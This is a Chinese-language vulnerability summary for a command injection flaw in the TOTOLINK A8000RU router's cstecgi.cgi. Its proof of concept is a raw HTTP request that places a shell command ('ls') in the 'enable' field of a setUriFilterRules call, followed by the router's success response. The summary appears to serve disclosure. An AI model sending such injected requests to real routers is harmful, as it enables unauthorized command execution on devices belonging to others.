# A8000RU 命令注入漏洞总结 ## 漏洞概述 TOTOLINK A8000RU 路由器存在命令注入漏洞。攻击者可以通过构造恶意请求,在 `cstecgi.cgi` 中执行任意操作系统命令。 ## 影响范围 - **厂商**: TOTOLINK - **产品**: A8000RU - **版本**: 7.1cu.643_b20200521 - **漏洞类型**: 命令注入 (Command Injection) ## 修复方案 目前页面未提供具体的修复方案或补丁信息。建议联系厂商获取更新。 ## 概念验证 (PoC) ### HTTP 请求示例 ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.6.2 Content-Length: 77 X-Requested-With: XMLHttpRequest Accept-Language: en-US,en;q=0.9 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.6.2 Referer: http://192.168.6.2/basic/index.html Accept-Encoding: gzip, deflate, br Cookie: SESSION_ID=1772465782.2 Connection: keep-alive {"topcurl":"setUriFilterRules","enable":"ls /ssetUriFilterRules.txt"} ``` ### 请求详情 ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.6.1 Content-Length: 76 X-Requested-With: XMLHttpRequest Accept-Language: en-US,en;q=0.9 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Origin: http://192.168.6.1 Referer: http://192.168.6.1/phone/login.html Accept-Encoding: gzip, deflate, br Cookie: SESSION_ID=21772465782.2 Connection: keep-alive {"topcurl":"setUriFilterRules","enable":"ls /ssetUriFilterRules.txt"} ``` ### 响应详情 ```http HTTP/1.1 200 OK Date: Fri, 27 Mar 2026 03:21:33 GMT Server: Lighttpd/1.4.30 Content-Length: 233 Content-Type: application/json {"success":true,"error":null,"lan_ip":"192.168.0.1","wlan":"0","reason":"reason"} ```